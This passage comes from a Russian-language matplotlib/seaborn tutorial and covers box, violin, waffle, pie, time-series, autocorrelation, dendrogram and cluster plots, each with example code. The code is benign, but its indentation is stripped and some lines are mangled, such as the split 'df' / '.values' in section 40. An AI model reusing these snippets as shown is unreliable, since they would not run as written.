ax.set_yticks(df.index)
ax.set_yticklabels(df.manufacturer.str.title(), fontdict={'horizontalalignment': 'right'}, alpha=0.7)
ax.set_xlim(1, 40)
plt.xticks(alpha=0.7)
plt.gca().spines["top"].set_visible(False)
plt.gca().spines["bottom"].set_visible(False)
plt.gca().spines["right"].set_visible(False)
plt.gca().spines["left"].set_visible(False)
plt.grid(axis='both', alpha=.4, linewidth=.1)
plt.show()
```
### 26. Графики с прямоугольниками
Такие графики — отличный способ визуализировать распределение, зная медиану, 25-й, 75-й квартили и максимумы с минимумами. Однако вы должны быть осторожны при интерпретации размера полей, которые могут потенциально исказить количество точек, содержащихся в этой группе. Таким образом, ручное указание количества наблюдений в каждой ячейке поможет преодолеть этот недостаток.
Например, первые два прямоугольника слева одинакового размера, хотя они имеют 5 и 47 элементов данных соответственно. Поэтому необходимо отмечать количество наблюдений.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(13,10), dpi= 80)
sns.boxplot(x='class', y='hwy', data=df, notch=False)
# Add N Obs inside boxplot (optional)
def add_n_obs(df,group_col,y):
medians_dict = {grp[0]:grp[1][y].median() for grp in df.groupby(group_col)}
xticklabels = [x.get_text() for x in plt.gca().get_xticklabels()]
n_obs = df.groupby(group_col)[y].size().values
for (x, xticklabel), n_ob in zip(enumerate(xticklabels), n_obs):
plt.text(x, medians_dict[xticklabel]*1.01, "#obs : "+str(n_ob), horizontalalignment='center', fontdict={'size':14}, color='white')
add_n_obs(df,group_col='class',y='hwy')
# Decoration
plt.title('Box Plot of Highway Mileage by Vehicle Class', fontsize=22)
plt.ylim(10, 40)
plt.show()
```
### 27. Графики с прямоугольниками и точками
Dot + Box plot передает аналогичную информацию, как boxplot, разбитый на группы. Кроме того, точки дают представление о количестве элементов данных в каждой группе.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(13,10), dpi= 80)
sns.boxplot(x='class', y='hwy', data=df, hue='cyl')
sns.stripplot(x='class', y='hwy', data=df, color='black', size=3, jitter=1)
for i in range(len(df['class'].unique())-1):
plt.vlines(i+.5, 10, 45, linestyles='solid', colors='gray', alpha=0.2)
# Decoration
plt.title('Box Plot of Highway Mileage by Vehicle Class', fontsize=22)
plt.legend(title='Cylinders')
plt.show()
```
### 28. График «скрипками»
Такой график — это визуально приятная альтернатива boxplot. Форма или площадь «скрипки» зависит от количества данных в этой группе. Тем не менее, такие графики могут быть сложнее для чтения, и они обычно не используются в профессиональных условиях.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Draw Plot
plt.figure(figsize=(13,10), dpi= 80)
sns.violinplot(x='class', y='hwy', data=df, scale='width', inner='quartile')
# Decoration
plt.title('Violin Plot of Highway Mileage by Vehicle Class', fontsize=22)
plt.show()
```
### 29. Пирамида населенности
Популяционная пирамида может использоваться, чтобы показать распределение групп, упорядоченных по объему, или для показа поэтапной фильтрации населения, как это показано ниже, чтобы визуализировать, сколько людей проходит через каждую стадию воронки маркетинга.
**Показать код**
```
# Read data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/email_campaign_funnel.csv")
# Draw Plot
plt.figure(figsize=(13,10), dpi= 80)
group_col = 'Gender'
order_of_bars = df.Stage.unique()[::-1]
colors = [plt.cm.Spectral(i/float(len(df[group_col].unique())-1)) for i in range(len(df[group_col].unique()))]
for c, group in zip(colors, df[group_col].unique()):
sns.barplot(x='Users', y='Stage', data=df.loc[df[group_col]==group, :], order=order_of_bars, color=c, label=group)
# Decorations
plt.xlabel("$Users$")
plt.ylabel("Stage of Purchase")
plt.yticks(fontsize=12)
plt.title("Population Pyramid of the Marketing Funnel", fontsize=22)
plt.legend()
plt.show()
```
### 30. Категориальные графики
Категориальные графики, предоставленные библиотекой seaborn, можно использовать для визуализации распределения количества двух или более категориальных переменных по отношению друг к другу.
**Показать код**
```
# Load Dataset
titanic = sns.load_dataset("titanic")
# Plot
g = sns.catplot("alive", col="deck", col_wrap=4,
data=titanic[titanic.deck.notnull()],
kind="count", height=3.5, aspect=.8,
palette='tab20')
fig.suptitle('sf')
plt.show()
```
**Показать код**
```
# Load Dataset
titanic = sns.load_dataset("titanic")
# Plot
sns.catplot(x="age", y="embark_town",
hue="sex", col="class",
data=titanic[titanic.embark_town.notnull()],
orient="h", height=5, aspect=1, palette="tab10",
kind="violin", dodge=True, cut=0, bw=.2)
```
### Сборка, композиция
### 31. Вафельная диаграмма
waffle график может быть создан с помощью pywaffle пакета и используется для отображения композиций групп в большей части населения.
**Показать код**
```
#! pip install pywaffle
# Reference: https://stackoverflow.com/questions/41400136/how-to-do-waffle-charts-in-python-square-piechart
from pywaffle import Waffle
# Import
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
df = df_raw.groupby('class').size().reset_index(name='counts')
n_categories = df.shape[0]
colors = [plt.cm.inferno_r(i/float(n_categories)) for i in range(n_categories)]
# Draw Plot and Decorate
fig = plt.figure(
FigureClass=Waffle,
plots={
'111': {
'values': df['counts'],
'labels': ["{0} ({1})".format(n[0], n[1]) for n in df[['class', 'counts']].itertuples()],
'legend': {'loc': 'upper left', 'bbox_to_anchor': (1.05, 1), 'fontsize': 12},
'title': {'label': '# Vehicles by Class', 'loc': 'center', 'fontsize':18}
},
},
rows=7,
colors=colors,
figsize=(16, 9)
)
```
**Показать код**
```
#! pip install pywaffle
from pywaffle import Waffle
# Import
# df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
# By Class Data
df_class = df_raw.groupby('class').size().reset_index(name='counts_class')
n_categories = df_class.shape[0]
colors_class = [plt.cm.Set3(i/float(n_categories)) for i in range(n_categories)]
# By Cylinders Data
df_cyl = df_raw.groupby('cyl').size().reset_index(name='counts_cyl')
n_categories = df_cyl.shape[0]
colors_cyl = [plt.cm.Spectral(i/float(n_categories)) for i in range(n_categories)]
# By Make Data
df_make = df_raw.groupby('manufacturer').size().reset_index(name='counts_make')
n_categories = df_make.shape[0]
colors_make = [plt.cm.tab20b(i/float(n_categories)) for i in range(n_categories)]
# Draw Plot and Decorate
fig = plt.figure(
FigureClass=Waffle,
plots={
'311': {
'values': df_class['counts_class'],
'labels': ["{1}".format(n[0], n[1]) for n in df_class[['class', 'counts_class']].itertuples()],
'legend': {'loc': 'upper left', 'bbox_to_anchor': (1.05, 1), 'fontsize': 12, 'title':'Class'},
'title': {'label': '# Vehicles by Class', 'loc': 'center', 'fontsize':18},
'colors': colors_class
},
'312': {
'values': df_cyl['counts_cyl'],
'labels': ["{1}".format(n[0], n[1]) for n in df_cyl[['cyl', 'counts_cyl']].itertuples()],
'legend': {'loc': 'upper left', 'bbox_to_anchor': (1.05, 1), 'fontsize': 12, 'title':'Cyl'},
'title': {'label': '# Vehicles by Cyl', 'loc': 'center', 'fontsize':18},
'colors': colors_cyl
},
'313': {
'values': df_make['counts_make'],
'labels': ["{1}".format(n[0], n[1]) for n in df_make[['manufacturer', 'counts_make']].itertuples()],
'legend': {'loc': 'upper left', 'bbox_to_anchor': (1.05, 1), 'fontsize': 12, 'title':'Manufacturer'},
'title': {'label': '# Vehicles by Make', 'loc': 'center', 'fontsize':18},
'colors': colors_make
}
},
rows=9,
figsize=(16, 14)
)
```
### 32. Круговая диаграмма
Круговая диаграмма — это классический способ показать состав групп. Тем не менее, в настоящее время, как правило, не рекомендуется использовать этот график, потому что площадь сегментов может иногда вводить в заблуждение. Поэтому, если вы хотите использовать круговую диаграмму, настоятельно рекомендуется явно записать процент или число для каждой части круговой диаграммы.
**Показать код**
```
# Import
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
df = df_raw.groupby('class').size()
# Make the plot with pandas
df.plot(kind='pie', subplots=True, figsize=(8, 8), dpi= 80)
plt.title("Pie Chart of Vehicle Class - Bad")
plt.ylabel("")
plt.show()
```
**Показать код**
```
# Import
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
df = df_raw.groupby('class').size().reset_index(name='counts')
# Draw Plot
fig, ax = plt.subplots(figsize=(12, 7), subplot_kw=dict(aspect="equal"), dpi= 80)
data = df['counts']
categories = df['class']
explode = [0,0,0,0,0,0.1,0]
def func(pct, allvals):
absolute = int(pct/100.*np.sum(allvals))
return "{:.1f}% ({:d} )".format(pct, absolute)
wedges, texts, autotexts = ax.pie(data,
autopct=lambda pct: func(pct, data),
textprops=dict(color="w"),
colors=plt.cm.Dark2.colors,
startangle=140,
explode=explode)
# Decoration
ax.legend(wedges, categories, title="Vehicle Class", loc="center left", bbox_to_anchor=(1, 0, 0.5, 1))
plt.setp(autotexts, size=10, weight=700)
ax.set_title("Class of Vehicles: Pie Chart")
plt.show()
```
### 33. Древовидная карта
Древовидная карта похожа на круговую диаграмму и работает лучше, не вводя в заблуждение долю каждой группы.
**Показать код**
```
# pip install squarify
import squarify
# Import Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
df = df_raw.groupby('class').size().reset_index(name='counts')
labels = df.apply(lambda x: str(x[0]) + "\n (" + str(x[1]) + ")", axis=1)
sizes = df['counts'].values.tolist()
colors = [plt.cm.Spectral(i/float(len(labels))) for i in range(len(labels))]
# Draw Plot
plt.figure(figsize=(12,8), dpi= 80)
squarify.plot(sizes=sizes, label=labels, color=colors, alpha=.8)
# Decorate
plt.title('Treemap of Vechile Class')
plt.axis('off')
plt.show()
```
### 34. Гистограмма
Гистограмма — это классический способ визуализации элементов на основе количества или любой заданной метрики. На приведенной ниже диаграмме я использовал разные цвета для каждого элемента, но вы можете выбрать один цвет для всех элементов, если вы не хотите раскрашивать их по группам. Имена цветов хранятся внутри all\_colors в коде ниже. Вы можете изменить цвет полос, установив параметр color в .plt.plot()
**Показать код**
```
import random
# Import Data
df_raw = pd.read_csv("https://github.com/selva86/datasets/raw/master/mpg_ggplot2.csv")
# Prepare Data
df = df_raw.groupby('manufacturer').size().reset_index(name='counts')
n = df['manufacturer'].unique().__len__()+1
all_colors = list(plt.cm.colors.cnames.keys())
random.seed(100)
c = random.choices(all_colors, k=n)
# Plot Bars
plt.figure(figsize=(16,10), dpi= 80)
plt.bar(df['manufacturer'], df['counts'], color=c, width=.5)
for i, val in enumerate(df['counts'].values):
plt.text(i, val, float(val), horizontalalignment='center', verticalalignment='bottom', fontdict={'fontweight':500, 'size':12})
# Decoration
plt.gca().set_xticklabels(df['manufacturer'], rotation=60, horizontalalignment= 'right')
plt.title("Number of Vehicles by Manaufacturers", fontsize=22)
plt.ylabel('# Vehicles')
plt.ylim(0, 45)
plt.show()
```
### Отслеживание изменений
### 35. График временного ряда
График временных рядов используется для визуализации того, как данный показатель изменяется со временем. Здесь вы можете увидеть, как пассажиропоток изменился с 1949 по 1969 год.
**Показать код**
```
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/AirPassengers.csv')
# Draw Plot
plt.figure(figsize=(16,10), dpi= 80)
plt.plot('date', 'traffic', data=df, color='tab:red')
# Decoration
plt.ylim(50, 750)
xtick_location = df.index.tolist()[::12]
xtick_labels = [x[-4:] for x in df.date.tolist()[::12]]
plt.xticks(ticks=xtick_location, labels=xtick_labels, rotation=0, fontsize=12, horizontalalignment='center', alpha=.7)
plt.yticks(fontsize=12, alpha=.7)
plt.title("Air Passengers Traffic (1949 - 1969)", fontsize=22)
plt.grid(axis='both', alpha=.3)
# Remove borders
plt.gca().spines["top"].set_alpha(0.0)
plt.gca().spines["bottom"].set_alpha(0.3)
plt.gca().spines["right"].set_alpha(0.0)
plt.gca().spines["left"].set_alpha(0.3)
plt.show()
```
### 36. Временные ряды с пиками и впадинами
Приведенный ниже временной ряд отображает все пики и впадины и отмечает возникновение отдельных особых событий.
**Показать код**
```
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/AirPassengers.csv')
# Get the Peaks and Troughs
data = df['traffic'].values
doublediff = np.diff(np.sign(np.diff(data)))
peak_locations = np.where(doublediff == -2)[0] + 1
doublediff2 = np.diff(np.sign(np.diff(-1*data)))
trough_locations = np.where(doublediff2 == -2)[0] + 1
# Draw Plot
plt.figure(figsize=(16,10), dpi= 80)
plt.plot('date', 'traffic', data=df, color='tab:blue', label='Air Traffic')
plt.scatter(df.date[peak_locations], df.traffic[peak_locations], marker=mpl.markers.CARETUPBASE, color='tab:green', s=100, label='Peaks')
plt.scatter(df.date[trough_locations], df.traffic[trough_locations], marker=mpl.markers.CARETDOWNBASE, color='tab:red', s=100, label='Troughs')
# Annotate
for t, p in zip(trough_locations[1::5], peak_locations[::3]):
plt.text(df.date[p], df.traffic[p]+15, df.date[p], horizontalalignment='center', color='darkgreen')
plt.text(df.date[t], df.traffic[t]-35, df.date[t], horizontalalignment='center', color='darkred')
# Decoration
plt.ylim(50,750)
xtick_location = df.index.tolist()[::6]
xtick_labels = df.date.tolist()[::6]
plt.xticks(ticks=xtick_location, labels=xtick_labels, rotation=90, fontsize=12, alpha=.7)
plt.title("Peak and Troughs of Air Passengers Traffic (1949 - 1969)", fontsize=22)
plt.yticks(fontsize=12, alpha=.7)
# Lighten borders
plt.gca().spines["top"].set_alpha(.0)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(.0)
plt.gca().spines["left"].set_alpha(.3)
plt.legend(loc='upper left')
plt.grid(axis='y', alpha=.3)
plt.show()
```
### 37. График автокорреляции (ACF) и частичной автокорреляции (PACF)
График ACF показывает корреляцию временного ряда с его собственным временем. Каждая вертикальная линия (на графике автокорреляции) представляет корреляцию между рядом и его временем, начиная с времени 0. Синяя заштрихованная область на графике является уровнем значимости. Те моменты, которые лежат выше синей линии, являются существенными.
Так как же это интерпретировать?
Для AirPassengers мы видим, что в x=14 «леденцы» пересекли синюю линию и, таким образом, имеют большое значение. Это означает, что пассажиропоток, наблюдавшийся до 14 лет назад, оказывает влияние на движение, наблюдаемое сегодня.
PACF, с другой стороны, показывает автокорреляцию любого заданного времени (временного ряда) с текущим рядом, но с удалением влияний между ними.
**Показать код**
```
from statsmodels.graphics.tsaplots import plot_acf, plot_pacf
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/AirPassengers.csv')
# Draw Plot
fig, (ax1, ax2) = plt.subplots(1, 2,figsize=(16,6), dpi= 80)
plot_acf(df.traffic.tolist(), ax=ax1, lags=50)
plot_pacf(df.traffic.tolist(), ax=ax2, lags=20)
# Decorate
# lighten the borders
ax1.spines["top"].set_alpha(.3); ax2.spines["top"].set_alpha(.3)
ax1.spines["bottom"].set_alpha(.3); ax2.spines["bottom"].set_alpha(.3)
ax1.spines["right"].set_alpha(.3); ax2.spines["right"].set_alpha(.3)
ax1.spines["left"].set_alpha(.3); ax2.spines["left"].set_alpha(.3)
# font size of tick labels
ax1.tick_params(axis='both', labelsize=12)
ax2.tick_params(axis='both', labelsize=12)
plt.show()
```
### 38. Кросс-корреляционный график
График взаимной корреляции показывает задержки двух временных рядов друг с другом.
**Показать код**
```
import statsmodels.tsa.stattools as stattools
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/mortality.csv')
x = df['mdeaths']
y = df['fdeaths']
# Compute Cross Correlations
ccs = stattools.ccf(x, y)[:100]
nlags = len(ccs)
# Compute the Significance level
# ref: https://stats.stackexchange.com/questions/3115/cross-correlation-significance-in-r/3128#3128
conf_level = 2 / np.sqrt(nlags)
# Draw Plot
plt.figure(figsize=(12,7), dpi= 80)
plt.hlines(0, xmin=0, xmax=100, color='gray') # 0 axis
plt.hlines(conf_level, xmin=0, xmax=100, color='gray')
plt.hlines(-conf_level, xmin=0, xmax=100, color='gray')
plt.bar(x=np.arange(len(ccs)), height=ccs, width=.3)
# Decoration
plt.title('$Cross\; Correlation\; Plot:\; mdeaths\; vs\; fdeaths$', fontsize=22)
plt.xlim(0,len(ccs))
plt.show()
```
### 39. Разложение временных рядов
График разложения временных рядов показывает разбивку временных рядов на трендовую, сезонную и остаточную составляющие.
**Показать код**
```
from statsmodels.tsa.seasonal import seasonal_decompose
from dateutil.parser import parse
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/AirPassengers.csv')
dates = pd.DatetimeIndex([parse(d).strftime('%Y-%m-01') for d in df['date']])
df.set_index(dates, inplace=True)
# Decompose
result = seasonal_decompose(df['traffic'], model='multiplicative')
# Plot
plt.rcParams.update({'figure.figsize': (10,10)})
result.plot().suptitle('Time Series Decomposition of Air Passengers')
plt.show()
```
### 40. Несколько временных рядов
Вы можете построить несколько временных рядов, которые измеряют одно и то же значение на одном графике, как показано ниже.
**Показать код**
```
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/mortality.csv')
# Define the upper limit, lower limit, interval of Y axis and colors
y_LL = 100
y_UL = int(df.iloc[:, 1:].max().max()*1.1)
y_interval = 400
mycolors = ['tab:red', 'tab:blue', 'tab:green', 'tab:orange']
# Draw Plot and Annotate
fig, ax = plt.subplots(1,1,figsize=(16, 9), dpi= 80)
columns = df.columns[1:]
for i, column in enumerate(columns):
plt.plot(df.date.values, df
.values, lw=1.5, color=mycolors[i])
plt.text(df.shape[0]+1, df
.values[-1], column, fontsize=14, color=mycolors[i])
# Draw Tick lines
for y in range(y_LL, y_UL, y_interval):
plt.hlines(y, xmin=0, xmax=71, colors='black', alpha=0.3, linestyles="--", lw=0.5)
# Decorations
plt.tick_params(axis="both", which="both", bottom=False, top=False,
labelbottom=True, left=False, right=False, labelleft=True)
# Lighten borders
plt.gca().spines["top"].set_alpha(.3)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(.3)
plt.gca().spines["left"].set_alpha(.3)
plt.title('Number of Deaths from Lung Diseases in the UK (1974-1979)', fontsize=22)
plt.yticks(range(y_LL, y_UL, y_interval), [str(y) for y in range(y_LL, y_UL, y_interval)], fontsize=12)
plt.xticks(range(0, df.shape[0], 12), df.date.values[::12], horizontalalignment='left', fontsize=12)
plt.ylim(y_LL, y_UL)
plt.xlim(-2, 80)
plt.show()
```
### 41. Построение в разных масштабах с использованием вторичной оси Y
Если вы хотите показать два временных ряда, которые измеряют две разные величины в один и тот же момент времени, вы можете построить второй ряд снова на вторичной оси Y справа.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/economics.csv")
x = df['date']
y1 = df['psavert']
y2 = df['unemploy']
# Plot Line1 (Left Y Axis)
fig, ax1 = plt.subplots(1,1,figsize=(16,9), dpi= 80)
ax1.plot(x, y1, color='tab:red')
# Plot Line2 (Right Y Axis)
ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis
ax2.plot(x, y2, color='tab:blue')
# Decorations
# ax1 (left Y axis)
ax1.set_xlabel('Year', fontsize=20)
ax1.tick_params(axis='x', rotation=0, labelsize=12)
ax1.set_ylabel('Personal Savings Rate', color='tab:red', fontsize=20)
ax1.tick_params(axis='y', rotation=0, labelcolor='tab:red' )
ax1.grid(alpha=.4)
# ax2 (right Y axis)
ax2.set_ylabel("# Unemployed (1000's)", color='tab:blue', fontsize=20)
ax2.tick_params(axis='y', labelcolor='tab:blue')
ax2.set_xticks(np.arange(0, len(x), 60))
ax2.set_xticklabels(x[::60], rotation=90, fontdict={'fontsize':10})
ax2.set_title("Personal Savings Rate vs Unemployed: Plotting in Secondary Y Axis", fontsize=22)
fig.tight_layout()
plt.show()
```
### 42. Временные ряды с полосами ошибок
Временные ряды с полосами ошибок могут быть построены, если у вас есть набор данных временных рядов с несколькими наблюдениями для каждой временной точки (дата / временная метка). Ниже вы можете увидеть несколько примеров, основанных на поступлении заказов в разное время дня. И еще один пример количества заказов, поступивших в течение 45 дней.
При таком подходе среднее количество заказов обозначается белой линией. И 95% -ые интервалы вычисляются и строятся вокруг среднего значения.
**Показать код**
```
from scipy.stats import sem
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/user_orders_hourofday.csv")
df_mean = df.groupby('order_hour_of_day').quantity.mean()
df_se = df.groupby('order_hour_of_day').quantity.apply(sem).mul(1.96)
# Plot
plt.figure(figsize=(16,10), dpi= 80)
plt.ylabel("# Orders", fontsize=16)
x = df_mean.index
plt.plot(x, df_mean, color="white", lw=2)
plt.fill_between(x, df_mean - df_se, df_mean + df_se, color="#3F5D7D")
# Decorations
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(1)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(1)
plt.xticks(x[::2], [str(d) for d in x[::2]] , fontsize=12)
plt.title("User Orders by Hour of Day (95% confidence)", fontsize=22)
plt.xlabel("Hour of Day")
s, e = plt.gca().get_xlim()
plt.xlim(s, e)
# Draw Horizontal Tick lines
for y in range(8, 20, 2):
plt.hlines(y, xmin=s, xmax=e, colors='black', alpha=0.5, linestyles="--", lw=0.5)
plt.show()
```
**Показать код**
```
"Data Source: https://www.kaggle.com/olistbr/brazilian-ecommerce#olist_orders_dataset.csv"
from dateutil.parser import parse
from scipy.stats import sem
# Import Data
df_raw = pd.read_csv('https://raw.githubusercontent.com/selva86/datasets/master/orders_45d.csv',
parse_dates=['purchase_time', 'purchase_date'])
# Prepare Data: Daily Mean and SE Bands
df_mean = df_raw.groupby('purchase_date').quantity.mean()
df_se = df_raw.groupby('purchase_date').quantity.apply(sem).mul(1.96)
# Plot
plt.figure(figsize=(16,10), dpi= 80)
plt.ylabel("# Daily Orders", fontsize=16)
x = [d.date().strftime('%Y-%m-%d') for d in df_mean.index]
plt.plot(x, df_mean, color="white", lw=2)
plt.fill_between(x, df_mean - df_se, df_mean + df_se, color="#3F5D7D")
# Decorations
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(1)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(1)
plt.xticks(x[::6], [str(d) for d in x[::6]] , fontsize=12)
plt.title("Daily Order Quantity of Brazilian Retail with Error Bands (95% confidence)", fontsize=20)
# Axis limits
s, e = plt.gca().get_xlim()
plt.xlim(s, e-2)
plt.ylim(4, 10)
# Draw Horizontal Tick lines
for y in range(5, 10, 1):
plt.hlines(y, xmin=s, xmax=e, colors='black', alpha=0.5, linestyles="--", lw=0.5)
plt.show()
```
### 43. Диаграмма с накоплением
Диаграмма с областями с накоплением дает визуальное представление степени вклада от нескольких временных рядов.
**Показать код**
```
# Import Data
df = pd.read_csv('https://raw.githubusercontent.com/selva86/datasets/master/nightvisitors.csv')
# Decide Colors
mycolors = ['tab:red', 'tab:blue', 'tab:green', 'tab:orange', 'tab:brown', 'tab:grey', 'tab:pink', 'tab:olive']
# Draw Plot and Annotate
fig, ax = plt.subplots(1,1,figsize=(16, 9), dpi= 80)
columns = df.columns[1:]
labs = columns.values.tolist()
# Prepare data
x = df['yearmon'].values.tolist()
y0 = df[columns[0]].values.tolist()
y1 = df[columns[1]].values.tolist()
y2 = df[columns[2]].values.tolist()
y3 = df[columns[3]].values.tolist()
y4 = df[columns[4]].values.tolist()
y5 = df[columns[5]].values.tolist()
y6 = df[columns[6]].values.tolist()
y7 = df[columns[7]].values.tolist()
y = np.vstack([y0, y2, y4, y6, y7, y5, y1, y3])
# Plot for each column
labs = columns.values.tolist()
ax = plt.gca()
ax.stackplot(x, y, labels=labs, colors=mycolors, alpha=0.8)
# Decorations
ax.set_title('Night Visitors in Australian Regions', fontsize=18)
ax.set(ylim=[0, 100000])
ax.legend(fontsize=10, ncol=4)
plt.xticks(x[::5], fontsize=10, horizontalalignment='center')
plt.yticks(np.arange(10000, 100000, 20000), fontsize=10)
plt.xlim(x[0], x[-1])
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(.3)
plt.show()
```
### 44. Диаграмма площади Unstacked
Диаграмма незакрытой области используется для визуализации прогресса (взлеты и падения) двух или более рядов относительно друг друга. На приведенной ниже диаграмме вы можете четко увидеть, как норма личных сбережений снижается при увеличении средней продолжительности безработицы. Диаграмма с незакрытыми участками хорошо показывает это явление.
**Показать код**
```
# Import Data
df = pd.read_csv("https://github.com/selva86/datasets/raw/master/economics.csv")
# Prepare Data
x = df['date'].values.tolist()
y1 = df['psavert'].values.tolist()
y2 = df['uempmed'].values.tolist()
mycolors = ['tab:red', 'tab:blue', 'tab:green', 'tab:orange', 'tab:brown', 'tab:grey', 'tab:pink', 'tab:olive']
columns = ['psavert', 'uempmed']
# Draw Plot
fig, ax = plt.subplots(1, 1, figsize=(16,9), dpi= 80)
ax.fill_between(x, y1=y1, y2=0, label=columns[1], alpha=0.5, color=mycolors[1], linewidth=2)
ax.fill_between(x, y1=y2, y2=0, label=columns[0], alpha=0.5, color=mycolors[0], linewidth=2)
# Decorations
ax.set_title('Personal Savings Rate vs Median Duration of Unemployment', fontsize=18)
ax.set(ylim=[0, 30])
ax.legend(loc='best', fontsize=12)
plt.xticks(x[::50], fontsize=10, horizontalalignment='center')
plt.yticks(np.arange(2.5, 30.0, 2.5), fontsize=10)
plt.xlim(-10, x[-1])
# Draw Tick lines
for y in np.arange(2.5, 30.0, 2.5):
plt.hlines(y, xmin=0, xmax=len(x), colors='black', alpha=0.3, linestyles="--", lw=0.5)
# Lighten borders
plt.gca().spines["top"].set_alpha(0)
plt.gca().spines["bottom"].set_alpha(.3)
plt.gca().spines["right"].set_alpha(0)
plt.gca().spines["left"].set_alpha(.3)
plt.show()
```
### 45. Календарная тепловая карта
Календарная карта является альтернативным и менее предпочтительным вариантом для визуализации данных на основе времени по сравнению с временным рядом. Хотя они могут быть визуально привлекательными, числовые значения не совсем очевидны.
**Показать код**
```
import matplotlib as mpl
import calmap
# Import Data
df = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/yahoo.csv", parse_dates=['date'])
df.set_index('date', inplace=True)
# Plot
plt.figure(figsize=(16,10), dpi= 80)
calmap.calendarplot(df['2014']['VIX.Close'], fig_kws={'figsize': (16,10)}, yearlabel_kws={'color':'black', 'fontsize':14}, subplot_kws={'title':'Yahoo Stock Prices'})
plt.show()
```
### 46. График сезонов
Сезонный график может использоваться для сравнения временных рядов, выполненных в тот же день в предыдущем сезоне (год / месяц / неделя и т. д.).
**Показать код**
```
from dateutil.parser import parse
# Import Data
df = pd.read_csv('https://github.com/selva86/datasets/raw/master/AirPassengers.csv')
# Prepare data
df['year'] = [parse(d).year for d in df.date]
df['month'] = [parse(d).strftime('%b') for d in df.date]
years = df['year'].unique()
# Draw Plot
mycolors = ['tab:red', 'tab:blue', 'tab:green', 'tab:orange', 'tab:brown', 'tab:grey', 'tab:pink', 'tab:olive', 'deeppink', 'steelblue', 'firebrick', 'mediumseagreen']
plt.figure(figsize=(16,10), dpi= 80)
for i, y in enumerate(years):
plt.plot('month', 'traffic', data=df.loc[df.year==y, :], color=mycolors[i], label=y)
plt.text(df.loc[df.year==y, :].shape[0]-.9, df.loc[df.year==y, 'traffic'][-1:].values[0], y, fontsize=12, color=mycolors[i])
# Decoration
plt.ylim(50,750)
plt.xlim(-0.3, 11)
plt.ylabel('$Air Traffic$')
plt.yticks(fontsize=12, alpha=.7)
plt.title("Monthly Seasonal Plot: Air Passengers Traffic (1949 - 1969)", fontsize=22)
plt.grid(axis='y', alpha=.3)
# Remove borders
plt.gca().spines["top"].set_alpha(0.0)
plt.gca().spines["bottom"].set_alpha(0.5)
plt.gca().spines["right"].set_alpha(0.0)
plt.gca().spines["left"].set_alpha(0.5)
# plt.legend(loc='upper right', ncol=2, fontsize=12)
plt.show()
```
### Группы
### 47. Дендрограмма
Дендрограмма группирует сходные точки на основе заданной метрики расстояния и упорядочивает их в виде древовидных связей на основе сходства точек.
**Показать код**
```
import scipy.cluster.hierarchy as shc
# Import Data
df = pd.read_csv('https://raw.githubusercontent.com/selva86/datasets/master/USArrests.csv')
# Plot
plt.figure(figsize=(16, 10), dpi= 80)
plt.title("USArrests Dendograms", fontsize=22)
dend = shc.dendrogram(shc.linkage(df[['Murder', 'Assault', 'UrbanPop', 'Rape']], method='ward'), labels=df.State.values, color_threshold=100)
plt.xticks(fontsize=12)
plt.show()
```
### 48. Кластерная диаграмма
График кластера может использоваться для разграничения точек, принадлежащих одному кластеру. Ниже приведен иллюстративный пример группировки штатов США в 5 групп на основе набора данных USArrests. Этот кластерный график использует столбцы «убийство» и «нападение» в качестве оси X и Y. В качестве альтернативы вы можете использовать компоненты от первого до главного в качестве осей X и Y.
**Показать код**
```
from sklearn.cluster import AgglomerativeClustering
from scipy.spatial import ConvexHull
# Import Data
df = pd.read_csv('https://raw.githubusercontent.com/selva86/datasets/master/USArrests.csv')
# Agglomerative Clustering
cluster = AgglomerativeClustering(n_clusters=5, affinity='euclidean', linkage='ward')
cluster.fit_predict(df[['Murder', 'Assault', 'UrbanPop', 'Rape']])
# Plot
plt.figure(figsize=(14, 10), dpi= 80)
plt.scatter(df.iloc[:,0], df.iloc[:,1], c=cluster.labels_, cmap='tab10')
# Encircle
def encircle(x,y, ax=None, **kw):
if not ax: ax=plt.gca()
p = np.c_[x,y]
hull = ConvexHull(p)
poly = plt.Polygon(p[hull.vertices,:], **kw)
ax.add_patch(poly)
# Draw polygon surrounding vertices
encircle(df.loc[cluster.labels_ == 0, 'Murder'], df.loc[cluster.labels_ == 0, 'Assault'], ec="k", fc="gold", alpha=0.2, linewidth=0)
